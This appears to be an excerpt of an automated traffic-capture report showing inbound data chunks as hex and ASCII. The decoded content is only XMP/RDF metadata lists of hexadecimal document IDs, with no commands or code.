2022-07-20 07:08:24 UTC	2149	IN	Data Raw: 43 43 45 44 31 42 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 30 46 46 32 33 33 32 30 37 37 45 37 43 45 42 43 45 30 41 43 30 42 42 38 34 36 42 42 35 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 30 33 33 35 39 36 41 37 41 36 30 42 33 32 42 35 32 31 39 46 42 42 46 39 41 37 44 45 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 30 35 43 30 38 45 42 45 41 41 45 42 37 35 30 31 46 44 41 33 36 44 43 45 43 35 33 39 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 31 36 42 43 42 33 42 42 46 41 32 34 36 30 30 43 32 38 45 35 34 32 39 43 44 31 33 31 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 31 41 42 36 34 39 32 33 44 30 38 46 30 43 46 44 33 33 37 39 39 46 46 42 39 43 39 Data Ascii: CCED1B8B</rdf:li> <rdf:li>50FF2332077E7CEBCE0AC0BB846BB531</rdf:li> <rdf:li>51033596A7A60B32B5219FBBF9A7DED3</rdf:li> <rdf:li>5105C08EBEAAEB7501FDA36DCEC53935</rdf:li> <rdf:li>5116BCB3BBFA24600C28E5429CD1319F</rdf:li> <rdf:li>511AB64923D08F0CFD33799FFB9C9
2022-07-20 07:08:24 UTC	2197	IN	Data Raw: 44 46 31 32 42 43 31 34 36 37 38 44 43 41 39 34 41 33 33 37 30 34 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 32 36 39 33 38 38 42 32 32 42 33 30 36 38 36 35 45 36 32 45 36 30 36 39 38 30 41 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 32 42 33 34 36 44 38 31 45 32 38 44 43 46 45 44 36 36 34 35 39 38 33 35 32 43 46 33 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 34 35 35 35 35 34 46 35 34 31 43 44 46 44 46 31 45 43 32 43 35 46 30 35 32 38 42 33 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 34 45 32 35 44 33 38 37 42 41 31 41 36 38 45 32 31 30 33 37 46 30 30 43 38 41 41 34 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 35 30 30 41 33 39 39 36 31 37 46 Data Ascii: DF12BC14678DCA94A33704CE</rdf:li> <rdf:li>5D269388B22B306865E62E606980AA36</rdf:li> <rdf:li>5D2B346D81E28DCFED664598352CF359</rdf:li> <rdf:li>5D455554F541CDFDF1EC2C5F0528B3D2</rdf:li> <rdf:li>5D4E25D387BA1A68E21037F00C8AA497</rdf:li> <rdf:li>5D500A399617F
2022-07-20 07:08:24 UTC	2261	IN	Data Raw: 39 42 30 34 44 42 33 44 39 43 41 34 34 45 33 34 34 36 46 46 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 41 33 37 30 32 42 45 33 35 35 34 34 44 30 45 32 30 36 31 44 44 37 39 32 41 37 37 34 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 41 45 37 30 31 37 37 37 41 42 45 30 39 36 46 44 37 31 45 39 33 33 39 31 42 31 36 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 42 30 39 34 31 36 30 41 36 46 38 39 31 33 34 42 42 38 43 42 31 32 33 37 30 31 37 36 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 43 39 39 41 43 44 33 31 36 33 39 38 45 46 45 30 45 39 45 45 39 34 39 30 36 45 42 43 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 43 45 37 34 33 33 31 35 31 41 44 41 44 Data Ascii: 9B04DB3D9CA44E3446FF94</rdf:li> <rdf:li>63A3702BE35544D0E2061DD792A77469</rdf:li> <rdf:li>63AE701777ABE096FD71E93391B16E89</rdf:li> <rdf:li>63B094160A6F89134BB8CB1237017694</rdf:li> <rdf:li>63C99ACD316398EFE0E9EE94906EBCDC</rdf:li> <rdf:li>63CE7433151ADAD
2022-07-20 07:08:24 UTC	2356	IN	Data Raw: 64 66 3a 6c 69 3e 36 46 33 42 33 43 45 33 46 44 45 41 45 32 32 44 45 30 46 38 44 30 34 36 32 42 41 34 44 31 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 33 42 35 41 38 44 46 42 35 41 35 39 32 45 45 44 42 33 37 33 46 39 45 45 36 41 38 46 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 34 36 33 37 31 38 46 36 31 34 42 31 41 45 39 45 46 30 32 32 35 32 37 32 42 38 46 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 34 43 37 42 34 33 46 45 33 32 42 43 42 32 32 36 36 42 45 36 34 34 39 33 45 43 43 41 31 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 46 35 42 32 42 46 44 37 30 38 44 41 36 33 36 39 34 34 43 36 36 46 33 46 42 39 42 35 38 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>6F3B3CE3FDEAE22DE0F8D0462BA4D14F</rdf:li> <rdf:li>6F3B5A8DFB5A592EEDB373F9EE6A8F0E</rdf:li> <rdf:li>6F463718F614B1AE9EF0225272B8FB14</rdf:li> <rdf:li>6F4C7B43FE32BCB2266BE64493ECCA10</rdf:li> <rdf:li>6F5B2BFD708DA636944C66F3FB9B5811</rdf:li> <rdf:li
2022-07-20 07:08:24 UTC	2380	IN	Data Raw: 34 30 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 39 44 31 44 38 42 45 42 36 34 35 32 32 36 38 44 45 39 44 38 42 42 35 32 38 31 45 33 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 41 32 33 39 33 42 42 39 37 34 41 36 42 39 45 38 45 41 39 46 43 45 38 35 37 33 41 46 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 41 42 37 32 43 44 31 32 42 37 35 41 44 31 37 34 31 38 37 45 46 32 43 39 34 44 44 44 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 43 32 44 35 31 37 37 41 39 46 38 45 31 31 32 31 41 35 36 33 31 35 42 46 42 33 44 45 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 42 43 33 42 37 34 44 37 33 39 34 31 34 44 30 39 41 45 36 33 45 32 45 30 36 36 33 39 32 31 31 3c Data Ascii: 40F4</rdf:li> <rdf:li>7B9D1D8BEB6452268DE9D8BB5281E348</rdf:li> <rdf:li>7BA2393BB974A6B9E8EA9FCE8573AF37</rdf:li> <rdf:li>7BAB72CD12B75AD174187EF2C94DDDFC</rdf:li> <rdf:li>7BC2D5177A9F8E1121A56315BFB3DE8B</rdf:li> <rdf:li>7BC3B74D739414D09AE63E2E06639211<
2022-07-20 07:08:24 UTC	2420	IN	Data Raw: 31 36 45 44 44 38 42 39 46 37 38 32 30 39 41 36 36 42 33 42 30 41 31 34 46 33 44 45 38 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 37 38 38 43 46 30 45 32 39 43 38 42 33 45 33 44 35 39 34 44 44 44 39 32 30 44 46 37 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 31 32 44 37 37 38 42 39 43 34 30 46 36 30 43 34 32 36 30 35 30 33 34 35 37 38 42 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 31 42 42 39 30 39 39 36 37 30 36 30 33 37 43 30 38 39 45 45 41 43 41 46 34 30 42 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 45 36 35 43 35 34 44 30 43 37 46 35 44 35 46 33 43 44 36 37 37 37 33 44 38 35 35 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 38 46 33 35 Data Ascii: 16EDD8B9F78209A66B3B0A14F3DE836</rdf:li> <rdf:li>81788CF0E29C8B3E3D594DDD920DF76B</rdf:li> <rdf:li>81812D778B9C40F60C42605034578B27</rdf:li> <rdf:li>8181BB90996706037C089EEACAF40BA9</rdf:li> <rdf:li>818E65C54D0C7F5D5F3CD67773D8550D</rdf:li> <rdf:li>818F35
2022-07-20 07:08:24 UTC	2492	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 36 45 46 46 34 39 36 43 37 31 31 42 37 38 37 38 38 41 41 34 43 37 38 42 34 38 45 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 36 46 39 45 45 30 37 32 43 38 42 38 35 37 41 42 37 37 46 35 33 44 41 46 39 34 44 39 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 37 42 30 42 38 45 38 31 39 32 44 32 30 46 44 38 41 33 44 38 33 31 43 37 43 41 42 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 37 44 42 41 36 33 35 46 42 45 44 46 37 36 32 34 31 36 44 42 44 38 44 45 45 38 31 44 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 42 38 30 42 31 43 41 46 30 36 45 37 38 38 38 45 44 38 34 32 42 35 41 44 34 35 45 44 31 46 37 3c 2f 72 64 66 3a 6c 69 Data Ascii: df:li> <rdf:li>8B6EFF496C711B78788AA4C78B48E995</rdf:li> <rdf:li>8B6F9EE072C8B857AB77F53DAF94D9DD</rdf:li> <rdf:li>8B7B0B8E8192D20FD8A3D831C7CABA4B</rdf:li> <rdf:li>8B7DBA635FBEDF762416DBD8DEE81D7E</rdf:li> <rdf:li>8B80B1CAF06E7888ED842B5AD45ED1F7</rdf:li
2022-07-20 07:08:24 UTC	2627	IN	Data Raw: 33 36 45 37 37 46 30 39 44 43 42 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 42 32 41 30 45 45 38 43 32 43 31 41 42 41 34 38 32 32 36 33 32 42 42 36 39 36 38 36 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 36 41 44 44 35 32 37 44 39 38 38 32 34 46 45 46 38 46 34 45 44 31 34 32 34 35 36 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 37 36 44 44 45 32 32 32 34 41 34 33 44 34 41 31 45 36 31 43 41 36 37 36 43 46 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 41 39 43 32 36 33 39 46 42 38 34 34 42 35 31 37 34 30 42 42 30 42 39 42 30 46 39 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 44 46 36 41 30 46 30 44 33 46 34 45 45 36 45 44 33 42 43 33 33 41 Data Ascii: 36E77F09DCB75</rdf:li> <rdf:li>97B2A0EE8C2C1ABA4822632BB6968660</rdf:li> <rdf:li>97D6ADD527D98824FEF8F4ED142456A2</rdf:li> <rdf:li>97D76DDE2224A43D4A1E61CA676CFD65</rdf:li> <rdf:li>97DA9C2639FB844B51740BB0B9B0F982</rdf:li> <rdf:li>97DF6A0F0D3F4EE6ED3BC33A
2022-07-20 07:08:24 UTC	2635	IN	Data Raw: 30 42 32 41 32 32 37 33 30 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 41 38 34 41 38 41 37 37 38 35 42 38 42 37 30 36 45 35 41 37 44 38 39 43 46 44 43 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 30 46 44 38 38 38 45 35 41 34 37 42 30 46 36 39 33 39 43 39 32 34 33 32 45 34 37 46 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 30 34 44 33 33 35 45 33 44 33 44 41 34 35 38 36 37 34 42 32 45 34 32 32 39 32 32 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 31 33 31 36 36 33 30 38 36 43 34 35 38 33 41 30 41 43 36 31 34 35 34 45 42 35 46 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 32 44 35 46 41 42 32 35 38 39 46 42 33 32 34 42 39 32 43 31 30 32 34 33 Data Ascii: 0B2A2273000</rdf:li> <rdf:li>9D0A84A8A7785B8B706E5A7D89CFDC0D</rdf:li> <rdf:li>9D0FD888E5A47B0F6939C92432E47F05</rdf:li> <rdf:li>9D204D335E3D3DA458674B2E422922F8</rdf:li> <rdf:li>9D2131663086C4583A0AC61454EB5F6D</rdf:li> <rdf:li>9D2D5FAB2589FB324B92C10243
2022-07-20 07:08:24 UTC	2651	IN	Data Raw: 37 38 34 45 34 32 30 34 44 44 42 38 39 34 43 43 31 32 45 43 38 46 46 46 42 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 45 30 38 34 37 44 32 44 38 37 44 44 32 34 44 41 33 32 42 33 31 31 34 41 33 41 30 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 42 45 42 31 36 42 41 33 38 39 32 39 41 44 31 41 45 45 35 45 33 38 32 30 42 37 45 45 41 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 44 46 38 32 46 30 33 44 43 37 42 44 36 38 34 41 43 42 36 33 42 42 46 38 46 31 45 44 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 46 31 36 41 37 39 42 38 35 41 46 34 39 46 44 44 30 34 38 33 39 34 36 30 45 36 34 41 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 44 46 32 31 37 41 34 33 44 Data Ascii: 784E4204DDB894CC12EC8FFFB74</rdf:li> <rdf:li>9DBE0847D2D87DD24DA32B3114A3A059</rdf:li> <rdf:li>9DBEB16BA38929AD1AEE5E3820B7EEA3</rdf:li> <rdf:li>9DDF82F03DC7BD684ACB63BBF8F1ED67</rdf:li> <rdf:li>9DF16A79B85AF49FDD04839460E64AF9</rdf:li> <rdf:li>9DF217A43D
2022-07-20 07:08:24 UTC	2683	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 42 35 37 45 35 45 31 34 32 36 37 39 35 34 34 42 38 34 32 43 37 39 43 46 31 39 37 31 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 42 41 42 30 44 45 38 46 34 45 32 38 30 38 30 42 41 36 31 41 46 45 44 36 43 39 31 39 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 43 37 44 39 33 36 39 41 36 30 32 32 46 35 39 46 37 32 42 41 32 42 37 35 38 46 33 35 46 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 44 35 43 41 44 35 37 33 41 44 36 32 34 39 42 38 35 37 43 42 30 43 46 38 30 42 33 43 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 38 44 46 36 43 37 36 30 31 45 34 42 41 39 32 33 41 35 41 38 39 32 31 33 35 43 35 30 36 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: i> <rdf:li>A8B57E5E142679544B842C79CF19717B</rdf:li> <rdf:li>A8BAB0DE8F4E28080BA61AFED6C91974</rdf:li> <rdf:li>A8C7D9369A6022F59F72BA2B758F35F5</rdf:li> <rdf:li>A8D5CAD573AD6249B857CB0CF80B3CDB</rdf:li> <rdf:li>A8DF6C7601E4BA923A5A892135C50619</rdf:li> <r
2022-07-20 07:08:24 UTC	2715	IN	Data Raw: 64 66 3a 6c 69 3e 42 34 36 35 44 39 32 30 31 39 46 42 31 30 41 35 38 36 39 32 36 35 32 39 34 45 35 35 30 39 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 37 31 46 41 31 45 32 35 30 31 46 35 37 46 31 33 43 38 33 32 44 44 44 33 39 38 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 36 38 46 43 43 34 33 31 39 31 46 36 43 31 39 36 44 32 33 44 42 36 42 44 41 44 32 42 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 37 32 41 30 45 45 43 32 32 45 30 37 46 44 41 35 33 31 31 38 41 38 34 37 41 44 30 33 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 37 41 41 32 36 31 42 35 30 36 43 41 31 46 43 38 35 38 34 31 39 32 30 44 44 32 36 36 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>B465D92019FB10A5869265294E550964</rdf:li> <rdf:li>B4671FA1E2501F57F13C832DDD398588</rdf:li> <rdf:li>B468FCC43191F6C196D23DB6BDAD2B14</rdf:li> <rdf:li>B472A0EEC22E07FDA53118A847AD030C</rdf:li> <rdf:li>B47AA261B506CA1FC85841920DD26696</rdf:li> <rdf:li
2022-07-20 07:08:24 UTC	2722	IN	Data Raw: 42 46 35 36 46 45 46 30 30 34 35 31 35 42 30 38 36 41 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 32 44 42 35 39 34 31 37 34 45 34 46 30 44 39 33 42 43 31 34 33 37 30 33 41 46 37 43 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 33 36 30 39 42 38 37 39 46 46 38 46 41 32 41 36 35 43 31 35 42 33 37 39 44 39 42 39 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 33 38 30 43 38 33 34 33 39 46 42 36 32 32 35 46 43 31 38 45 36 44 32 33 38 32 38 30 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 31 42 39 38 39 44 46 31 46 38 35 44 39 37 33 30 33 36 36 35 30 39 42 38 35 39 41 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 42 42 39 42 34 42 42 32 44 36 30 38 46 31 Data Ascii: BF56FEF004515B086A51</rdf:li> <rdf:li>B92DB594174E4F0D93BC143703AF7C87</rdf:li> <rdf:li>B93609B879FF8FA2A65C15B379D9B9F1</rdf:li> <rdf:li>B9380C83439FB6225FC18E6D238280FF</rdf:li> <rdf:li>B941B989DF1F85D9730366509B859A17</rdf:li> <rdf:li>B94BB9B4BB2D608F1
2022-07-20 07:08:24 UTC	2738	IN	Data Raw: 3a 6c 69 3e 43 35 31 42 36 35 35 35 32 46 38 30 43 33 37 41 32 38 39 36 32 39 37 39 31 37 35 41 37 30 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 32 46 34 37 42 34 42 41 45 37 31 44 32 32 30 31 37 33 31 38 32 38 37 45 43 30 30 31 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 33 32 32 34 45 42 41 38 36 45 41 45 41 31 39 36 35 30 44 39 38 42 31 31 34 36 35 39 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 33 43 46 46 38 37 42 32 31 39 31 41 33 42 36 37 45 34 36 46 34 32 39 35 35 39 46 33 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 35 34 31 45 30 38 36 39 43 46 43 46 30 38 30 30 44 36 41 34 46 31 38 38 34 39 39 33 39 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 Data Ascii: :li>C51B65552F80C37A28962979175A70F3</rdf:li> <rdf:li>C52F47B4BAE71D22017318287EC0011E</rdf:li> <rdf:li>C53224EBA86EAEA19650D98B114659D3</rdf:li> <rdf:li>C53CFF87B2191A3B67E46F429559F36B</rdf:li> <rdf:li>C541E0869CFCF0800D6A4F18849939F2</rdf:li> <rdf:li>C
2022-07-20 07:08:24 UTC	2810	IN	Data Raw: 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 39 35 41 31 35 35 42 38 34 36 32 42 41 46 30 31 38 44 31 35 30 34 44 45 32 35 33 42 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 39 44 33 32 44 34 46 32 39 41 35 35 45 42 30 32 38 41 36 46 43 30 42 43 38 38 30 35 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 39 46 33 45 30 45 45 41 45 45 33 39 43 45 32 36 41 41 39 42 37 44 44 30 43 44 36 45 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 39 46 35 38 34 32 46 32 36 32 32 34 42 45 36 36 45 34 44 45 32 44 32 35 30 30 42 37 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 41 33 41 37 42 39 30 38 31 43 46 43 41 35 32 46 39 38 46 41 33 32 43 45 32 41 35 39 42 35 3c 2f 72 Data Ascii: 75</rdf:li> <rdf:li>CF95A155B8462BAF018D1504DE253B60</rdf:li> <rdf:li>CF9D32D4F29A55EB028A6FC0BC8805F3</rdf:li> <rdf:li>CF9F3E0EEAEE39CE26AA9B7DD0CD6EF7</rdf:li> <rdf:li>CF9F5842F26224BE66E4DE2D2500B7F0</rdf:li> <rdf:li>CFA3A7B9081CFCA52F98FA32CE2A59B5</r
2022-07-20 07:08:24 UTC	2897	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 33 42 41 41 35 38 34 32 36 30 42 37 37 33 31 36 44 34 46 31 34 33 32 39 39 38 35 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 37 45 31 41 32 32 31 34 46 41 32 37 44 35 31 30 35 41 38 37 32 32 44 35 30 42 44 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 45 31 33 43 36 38 37 32 35 43 33 36 42 34 32 34 30 36 33 43 37 31 42 39 37 42 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 34 39 36 35 34 35 42 36 34 44 38 34 42 33 41 38 35 33 46 38 37 31 39 39 41 45 36 45 45 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D5D3BAA584260B77316D4F1432998556</rdf:li> <rdf:li>D5D7E1A2214FA27D5105A8722D50BD7D</rdf:li> <rdf:li>D5DE13C68725C36B424063C71B97BA2B</rdf:li> <rdf:li>D5E496545B64D84B3A853F87199AE6EE</rdf
2022-07-20 07:08:24 UTC	2913	IN	Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 39 32 43 41 45 44 32 36 46 33 42 36 34 41 35 33 33 44 32 31 38 39 30 45 33 43 33 38 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 41 36 33 42 45 45 44 32 38 30 42 43 32 46 44 36 31 41 35 41 39 32 38 31 33 44 46 35 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 42 33 42 30 42 39 31 30 35 35 43 43 44 41 37 39 42 37 44 43 38 39 46 41 31 32 34 41 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 42 39 35 38 36 42 38 36 32 39 32 37 43 36 41 30 31 38 41 46 38 43 45 43 38 34 34 45 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 31 42 44 39 32 34 42 45 36 37 42 34 35 36 39 45 32 31 36 38 39 46 36 43 38 39 35 31 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: :li> <rdf:li>E192CAED26F3B64A533D21890E3C38ED</rdf:li> <rdf:li>E1A63BEED280BC2FD61A5A92813DF5A5</rdf:li> <rdf:li>E1B3B0B91055CCDA79B7DC89FA124ABD</rdf:li> <rdf:li>E1B9586B862927C6A018AF8CEC844E87</rdf:li> <rdf:li>E1BD924BE67B4569E21689F6C8951E55</rdf:li>
2022-07-20 07:08:24 UTC	2929	IN	Data Raw: 44 35 46 43 42 39 34 36 36 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 44 43 35 45 44 43 37 42 30 32 43 35 44 38 30 33 45 44 35 42 41 46 39 41 39 35 37 46 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 44 44 33 31 35 46 39 42 30 31 30 33 46 32 46 37 32 38 35 43 32 32 31 33 36 30 37 44 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 45 31 45 39 36 36 35 44 45 35 30 37 43 41 33 39 32 35 33 43 32 46 30 30 31 37 42 36 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 46 32 46 37 44 34 41 33 44 34 31 41 39 39 43 33 39 31 42 39 35 36 42 31 45 45 41 34 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 42 46 34 32 43 33 43 32 42 34 31 38 31 32 33 45 46 36 46 33 46 30 38 39 39 Data Ascii: D5FCB946626</rdf:li> <rdf:li>EBDC5EDC7B02C5D803ED5BAF9A957F02</rdf:li> <rdf:li>EBDD315F9B0103F2F7285C2213607DF4</rdf:li> <rdf:li>EBE1E9665DE507CA39253C2F0017B68F</rdf:li> <rdf:li>EBF2F7D4A3D41A99C391B956B1EEA488</rdf:li> <rdf:li>EBF42C3C2B418123EF6F3F0899
2022-07-20 07:08:24 UTC	2937	IN	Data Raw: 39 33 31 41 37 44 33 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 43 41 38 37 30 33 35 37 34 31 30 32 41 39 45 37 37 31 35 35 43 38 39 43 42 30 37 43 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 44 37 43 43 46 42 39 45 42 31 38 35 45 31 45 35 41 39 31 37 42 45 35 43 36 33 38 46 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 44 39 45 32 32 45 43 42 35 32 45 33 30 46 45 42 44 37 44 36 36 37 37 45 30 38 37 34 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 45 35 39 44 41 39 35 44 45 32 46 33 46 44 31 32 33 31 46 43 30 44 34 42 35 30 44 44 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 31 46 41 44 44 42 36 45 38 41 41 46 37 33 42 34 36 45 43 45 36 38 37 31 41 Data Ascii: 931A7D393</rdf:li> <rdf:li>F0CA8703574102A9E77155C89CB07C82</rdf:li> <rdf:li>F0D7CCFB9EB185E1E5A917BE5C638F7F</rdf:li> <rdf:li>F0D9E22ECB52E30FEBD7D6677E087480</rdf:li> <rdf:li>F0E59DA95DE2F3FD1231FC0D4B50DD04</rdf:li> <rdf:li>F0F1FADDB6E8AAF73B46ECE6871A
